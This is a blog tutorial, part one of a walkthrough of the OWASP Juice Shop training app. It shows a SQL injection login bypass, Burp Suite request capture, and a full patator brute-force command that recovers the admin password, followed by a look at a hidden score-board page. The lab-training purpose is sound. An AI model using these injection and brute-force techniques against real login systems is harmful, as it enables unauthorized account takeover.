How to solve OWASP Juice shop. Part1. Score table. 18 Feb 2018

In this article, we pass through vulnerable application Juice Shop from OWASP. My goal is to give you general method of pentesting. Some basic knowledge of UNIX and information security is needed, however, all other will be explained :) Let’s begin the journey.

OWASP JS is:

OWASP Juice Shop is an intentionally insecure webapp for security trainings written entirely in JavaScript which encompasses the entire OWASP Top Ten and other severe security flaws.

Installation

The docker is a very convenient way of distributing software. One line install:

root@v:~# docker run --rm --name owasp_js -p 3000:3000 bkimminich/juice-shop

> juice-shop@6.4.2 start /juice-shop
> node app

Sun, 18 Feb 2018 18:01:10 GMT sequelize deprecated String based operators are now deprecated. Please use Symbol based operators for better security, read more at http://docs.sequelizejs.com/manual/tutorial/querying.html#operators at node_modules/sequelize/lib/sequelize.js:242:13
Server listening on port 3000

That’s it! The virtual environment is started and the server is running. But when you press CRTL-C all this will be deleted. Now you can point your browser at localhost:3000 and see the main page.

In my case, I’ve got 6.4.2 version. The version is indicated on the main page, or you can check through docker itself:


root@v:~# docker inspect owasp_js -f "{{index .Config.Labels \"org.label-schema.version\"}}"
6.4.2

The first bug

So, where to start? Now we can register a new account, or we can try to put the quote in the email field of the login form.

Yeah! This is our first achievment, we can see full sql request to database:

"sql":"SELECT * FROM Users WHERE email = ''' AND password = '202cb962ac59075b964b07152d234b70'"

We found SQL injection. Let’s try ' or 1=1-- in end of email… Now we had successfully login as admin :) And now we know admin’s email: admin@juice-sh.op

Kali, Burp Suite & patator

Although we had logged as admin, not much we can do. We really don’t know admin’s password. We could use brute force to gain admin password. Let’s try.

First, we need to sniff full POST request with Burp Suite. Then we need a bruteforcer (we’ll use patator instead of hydra, because hydra follows the page redirection on failed login with 401 code). All this kind of stuff and much more handy tools are already preinstalled in Kali linux. I assume you already installed Kali and connected it to the same network as host with docker, so you can reach OWASP JS from Kali.

Burp Suite is acting like web proxy server. So, we need to run it and ensure that the proxy is running. Check Proxy => Options => Running flag.

You can disable interception in Proxy => Intercept. Requests will be logged, but not prompted for you.

Then we need to set proxy in browser and perform login to OWASP JS once anain. This time Burp will catch POST request in Proxy => HTTP history:

POST /rest/user/login HTTP/1.1
Host: 192.168.0.148:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.148:3000/
Content-Type: application/json;charset=utf-8
Content-Length: 35
Cookie: io=aEQuHo2LlU3yDcYIAAAB
Connection: close

{"email":"email","password":"pass"}

And server’s response is:

HTTP/1.1 401 Unauthorized
X-Powered-By: Express
Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Type: text/html; charset=utf-8
Content-Length: 26
ETag: W/"1a-ARJvVK+smzAF3QQve2mDSG+3Eus"
Date: Wed, 21 Feb 2018 11:47:00 GMT
Connection: close

Invalid email or password.

Let’s use this data to prepare patator’s command line:

patator http_fuzz url=http://192.168.0.148:3000/rest/user/login \
  method=POST body='{"email":"admin@juice-sh.op","password":"FILE0"}' \
  0=/usr/share/wordlists/metasploit/common_roots.txt follow=0 accept_cookie=1 \
  auto_urlencode=0 http_proxy=127.0.0.1:8080 \
  -x ignore:code=400 -x ignore:code=401 \
  header="User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.148:3000/
Content-Type: application/json;charset=utf-8
Cookie: io=IQrSrp1Smz-Dt1BVAAZt; continueCode=ENPOx8Z4XYmw1zgRDjyAq4HlukhgIZinSnHWu5tx0WlLQpqb23JK6Mkr7eBV
Connection: close"

Command line is huge, let’s try to understand it’s options:

The patator will work for couple of minutes, and here is the result:

18:38:13 patator    INFO - Starting Patator v0.6 (http://code.google.com/p/patator/) at 2018-02-21 18:38 EET
18:38:13 patator    INFO -                                                                              
18:38:13 patator    INFO - code size:clen       time | candidate                          |   num | mesg
18:38:13 patator    INFO - -----------------------------------------------------------------------------
18:38:54 patator    INFO - 200  891:588        0.619 | admin123                           |  1115 | HTTP/1.1 200 OK
18:41:04 patator    INFO - Hits/Done/Skip/Fail/Size: 1/4725/0/0/4725, Avg: 27 r/s, Time: 0h 2m 50s

We got it!

To be honest, my first impression from bruteforcing with hydra/patator, was that it is incredibly slow and irrelevant. That’s why I spend couple of hours trying to write my own simple piece of software. But in the end, final benchmark shows there is almost no difference in time, despite 5% more CPU usage with patator. So, do not reinvent the wheel, until you 100% sure for what you are doing that. The only advantage is, that my tool has a much simpler interface to do this particular attack.

./http-post-bruteforce.py -r req.txt -p /usr/share/wordlists/metasploit/common_roots.txt

Where is:

POST /rest/user/login HTTP/1.1
Host: 127.0.0.1:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Referer: http://192.168.0.148:3000/
Content-Type: application/json;charset=utf-8
Content-Length: 42
Cookie: continueCode=D4gRrQo8yX2ex3pqz9KLd1ZHEu8h3IESwH4uKtRGkON6wWVaBZMn5jbl17EP; io=_FZ38o2zC2kfAUIxAAZp
Connection: close

{"email":"admin@juice-sh.op","password":"**B**"}

Score table!

Maybe we should first of all to look at page’s source? There is interesting html code:

            <li class="dropdown" ng-show="isLoggedIn()">
                <a href="#/change-password"><i class="fas fa-user-secret fa-lg"></i> <span translate="TITLE_CHANGE_PASSWORD"></span></a>
            </li>
            <li class="dropdown">
                <a href="#/contact"><i class="fas fa-comment fa-lg"></i> <span translate="TITLE_CONTACT"></span></a>
            </li>
            <li class="dropdown" ng-show="isLoggedIn()">
                <a href="#/recycle"><i class="fas fa-recycle fa-lg"></i> <span translate="NAV_RECYCLE"></span></a>
            </li>
            <li class="dropdown" ng-show="isLoggedIn()">
                <a href="#/complain"><i class="fas fa-bomb fa-lg"></i> <span translate="NAV_COMPLAIN"></span></a>
            </li>
            <li class="dropdown" ng-show="scoreBoardMenuVisible">
                <a href="#/score-board"><i class="fas fa-trophy fa-lg"></i> <span translate="TITLE_SCORE_BOARD"></span></a>
            </li>
            <li class="dropdown ribbon-spacer">
                <a href="#/about"><i class="fas fa-info-circle fa-lg"></i> <span translate="TITLE_ABOUT"></span></a>
            </li>

The #/score-board menu, does not seen through browser, let’s try to point browser to it manually:

End of first part.